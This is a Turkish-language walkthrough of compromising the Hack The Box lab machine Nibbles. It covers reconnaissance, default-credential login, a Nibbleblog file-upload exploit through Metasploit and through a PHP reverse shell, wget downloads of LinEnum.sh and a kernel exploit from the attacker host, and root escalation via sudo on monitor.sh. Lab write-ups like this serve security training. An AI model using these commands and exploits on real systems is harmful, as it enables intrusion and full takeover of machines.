Hack The Box: Nibbles Çözümü

0
978
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Nibbles isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Nibbles sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.75
  • İşletim Sistemi: Linux

 

A) Port Tarama

Port taraması sonucunda 2 adet portun açık olduğu tespit edilmiştir.

nmap -p- –open -vvv 10.10.10.75 -oN fullportscan

 

Açık portlar aşağıdaki gibidir:

  • 22/tcp
  • 80/tcp

Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve detaylı tarama gerçekleştirilir.

nmap -p 22,80 -sV -sC -vvv 10.10.10.75 -oN versionscan

 

B) SSH Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\22 portunda çalışan SSH servisinin sürümünde (OpenSSH 7.2p2) herhangi bir zafiyet bulunmadığı tespit edilmiştir.

 

C) HTTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\80 portunda Apache (HTTPD 2.4.18) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız sayfa aşağıdaki gibidir.

 

Ardından ilgili adrese “curl” aracı ile istek gerçekleştirilerek sunucudan dönen yanıt incelenerek “/nibbleblog/” dizininin varlığı tespit edilebilir.

curl -i http://10.10.10.75/

 

Benzer olarak web sayfasının kaynağı incelenerek de yorum içerisindeki bu bilgi elde edilebilir.

 

İlgili dizine tarayıcı üzerinden gittiğimizde aşağıda ekran görüntüsü verilen sayfa ile karşılaşılmaktadır. Bu sayfada aşağıda kırmızı kutu içerisine alınan “Powered by Nibbleblog” yazısı için daha sonra zafiyet varlığı kontrol edilebilir.

 

Öncelikle “gobuster” aracı ile ilgili blog başlığı altında dizin taraması gerçekleştirilir. Bunun için aşağıdaki komut kullanılabilir.

gobuster -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s ‘200,204,301,302,307,403,500’ -e -o gobuster

 

Dizin tarama işlemi sonrası yukarıda verilen dizinler tespit edilmiştir. İlgili dizinlerin içerikleri sıra ile kontrol edilebilir.

İlk olarak “admin” dizini altına gidildiğinde blog uygulamasına ait admin paneli tespit edilmiştir.

http://10.10.10.75/nibbleblog/admin.php

 

Tespit edilen bu yönetim panelinde gerçekleştirilen varsayılan kimlik denemeleri sonucu panel için kimlik bilgilerinin “admin/nibbles” olduğu tespit edilmiştir.

 

İlgili dizinlerden ikinci olarak “content” dizinine erişildiğinde burada dizin listelemenin açık olduğu tespit edilmiştir.

 

Burada “private” klasörü altındaki config.xml ve users.xml dosyalarında mail adresi, kullanıcı adı (“admin” gibi) ve IP adresi gibi bilgi ifşalarına rastlanmıştır.

 

Üçüncü olarak “README” dizininin altı kontrol edildiğinde Nibbleblog’a ait versiyon bilgisi tespit edilebilir.

 

Nibbleblog’un sürüm bilgisine (“admin/nibbles” kimlik bilgisi ile oturum açıldıktan sonra) ayarlar (settings) sayfasından da erişim sağlanabilir.

 

Benzer olarak kimlik doğrulama yapılmadan da “/nibbleblog/update.php” sayfasından da sürüm bilgisi elde edilebilir.

 

D) NibbleBlog Dosya Yükleme Zafiyetinin Tespiti

NibbleBlog 4.0.3 “Coffee” sürümü için tespit edilen zafiyetler aşağıdaki gibidir.

 

Burada ilgili zafiyetin Google üzerinden dorklar ile aranması ve içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.

 

Nibbleblog 4.0.3 – Arbitrary File Upload (Metasploit)” ile istismara ait detaylar incelenebilir. İstismar içeriği incelendiğinde, zafiyetin kimlik doğrulama gerektirdiği gözlemlenmektedir.

https://www.exploit-db.com/exploits/38489

 

Zafiyetin manuel istismarına ait detaylar kaynaklardaki Github (BuddhaLabs) ve Curesec bağlantılarında detaylı olarak anlatılmıştır.

 

E) Nibbleblog 4.0.3 Uygulamasının MSF nibbleblog_file_upload Modülü İle İstismarı

Tespit edilen kimlik bilgileri ile Nibbleblog 4.0.3 sürümündeki uygulamanın istismarı için MSF nibbleblog_file_upload istismar modülü kullanılabilir.

use exploit/multi/http/nibbleblog_file_upload
set rhost 10.10.10.75
set username admin
set password nibbles
set targeturi /nibbleblog
exploit

 

Böylece uygulama kullanıcısının (nibbler) yetkileri ile komut satırı erişimi elde edilebilir.

 

F) Nibbleblog 4.0.3 Uygulamasının Manuel Olarak İstismarı

Tespit edilen kimlik bilgileri ile Nibbleblog 4.0.3 sürümündeki uygulamanın istismarı için bir PHP dosyası resim olarak hedefe yüklenecektir.

 

Bu amaçla, ilk olarak Kali üzerinde “/usr/share/laudanum/php/” dizini altında bulunan “php-reverse-shell.php” dosyasının içeriğini düzenleyerek hedef sisteme atılacaktır.

cp /usr/share/laudanum/php/php-reverse-shell.php .

 

Dosya içeriğinin düzenlenmesi ve görüntülenmesine ait ekran görüntüleri aşağıda verilmiştir.

nano php-reverse-shell.php
cat php-reverse-shell.php

 

Sonrasında dinleyici başlatılır.

nc -lvp 7070

 

Ardından hedef sisteme yüklediğimiz ters bağlantı açacak dosya, web tarayıcısı üzerinden çağırılır. Dosyanın hedef sisteme yüklendiğine dair ekran görüntüsü aşağıda verilmiştir.

 

Yüklenen dosyanın varlığının tespitine ait ekran görüntüsü aşağıda verilmiştir. Bu aşamada “image.php” dosyasına tıklayarak, yüklediğimiz ters bağlantı sağlayacak komutları (shell) çağırıyoruz.

 

Hedef sistem üzerinde oturum elde edilmesine ait ekran görüntüsü aşağıda verilmiştir.

 

Oturum elde ettikten sonra “user.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.

 

G) Hak Yükseltme Zafiyetlerinin Tespiti

Uygulama kullanıcısının (nibbler) yetkileri ile erişim sağlandıktan sonra, potansiyet zafiyetlerin tespiti için hedef sistem üzerinde “/tmp” dizini altına geçilir ve saldırgan sistemden “LinEnum.sh” betiği hedef sisteme indirilir. Bunun için saldırgan sistem üzerinde HTTP sunucu başlatılır.

python -m SimpleHTTPServer 80

 

Hedef sistem üzerinde “wget” aracının varlığı tespit edilir ve aşağıdaki komut ile hedef sisteme betik indirilir.

which wget
wget http://10.10.14.20/LinEnum.sh

 

Kali üzerinde de bu indirme isteği görülebilmektedir.

 

LinEnum.sh betiğine çalışma yetkisi verilir ve ardından bu betik çalıştırılır.

 

Çıktıyı incelediğimizde 2 nokta göze çarpmaktadır.

  • Birincisi işletim sistemine ait çekirdek sürümünün zafiyet barındırmasıdır.

 

  • İkincisi ise “monitor.sh” betiğini sudo haklarıyla parola gerekmeksizin çalıştırılabildiğidir.

 

H) İşletim Sistemi Zafiyeti ile Yetki Yükseltme

Komut satırı erişimi elde edildikten sonra işletim sistemi sürümü incelendiğinde çekirdeğin Linux 4.4.0-104-generic ve dağıtımın da Ubuntu 16-04.3 LTS olduğu görülmektedir.

uname -a && uname -mail
lsb_release -a

 

Bu sürümde CVE-2017-16995 ID’li “Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) – Local Privilege Escalation” zafiyeti tespit edilmiştir.

 

Söz konusu istismar kodu hedef sisteme atılacaktır. Ama öncesinde hedef üzerinde “gcc” derleyicinin varlığı tespit edilir.

 

Ardından betik derlenir ve çalıştırılır. İstismar kodunu hedef sisteme yükleyebilmek adına ilk olarak saldırgan sistem üzerinde (durdurulmuşsa) HTTP sunucu başlatılır.

python -m SimpleHTTPServer 80

 

Ardından ilgili istismar kodu hedef sisteme indirilir.

wget http://10.10.14.20/44298.c

 

İstismar kodunun indirildiği Kali makinesinden de görülebilir.

 

Daha sonra exploit derlenip çalıştırılarak hedef sistem üzerinde yetki yükseltme işlemi gerçekleştirilir.

which gcc
gcc -o kernel-exploit 44298.c
./kernel-exploit

 

Son olarak “root.txt” dosyasının içeriğinin görüntülenmesine ait ekran görüntüsü aşağıda verilmiştir.

 

I) Sudo Yetkisini Kötüye Kullanarak Yetki Yükseltme

Linenum.sh ile tespit edilen “monitor.sh” betiğini kullanarak yetki yükseltme işlemi gerçekleştirilmek istenildiğinde, ilgili betiğin bulunduğu dizine gitmeye çalışılırken aşağıdaki hata ile karşılaşılmaktadır.

cd nibbler/personal/stuff/

 

Mevcut dizin incelendiğinde, “personel.zip” isimli bir sıkıştırılmış dosyanın doluğu ve içerisinde de herkes tarafından okunabilir/yazılabilir/çalıştırılabilir (777) olan “monitor.sh” betiğinin olduğu görülmektedir. İlgili sıkıştırılmış dosya “unzip” komutu ile açılabilir.

unzip personal.zip

 

monitor.sh” dosyasının içeriğini aşağıdaki şekilde güncellenir ve betik “sudo” hakları ile çalıştırılarak yetki yükseltilir.

echo “/bin/sh -i” > monitor.sh
cat monitor.sh
sudo ./monitor.sh
id

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/12/htb-nibbles.html
https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1301-exploits/nibbleblog-shell.txt
https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html
https://medium.com/@ranakhalil101/hack-the-box-nibbles-writeup-w-o-metasploit-499ae2517ccd

Hack the Box Challenge: Nibble Walkthrough


https://skiponacci.github.io/htb-nibbles/
https://sevenlayers.com/index.php/190-hackthebox-nibbles-walkthrough

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.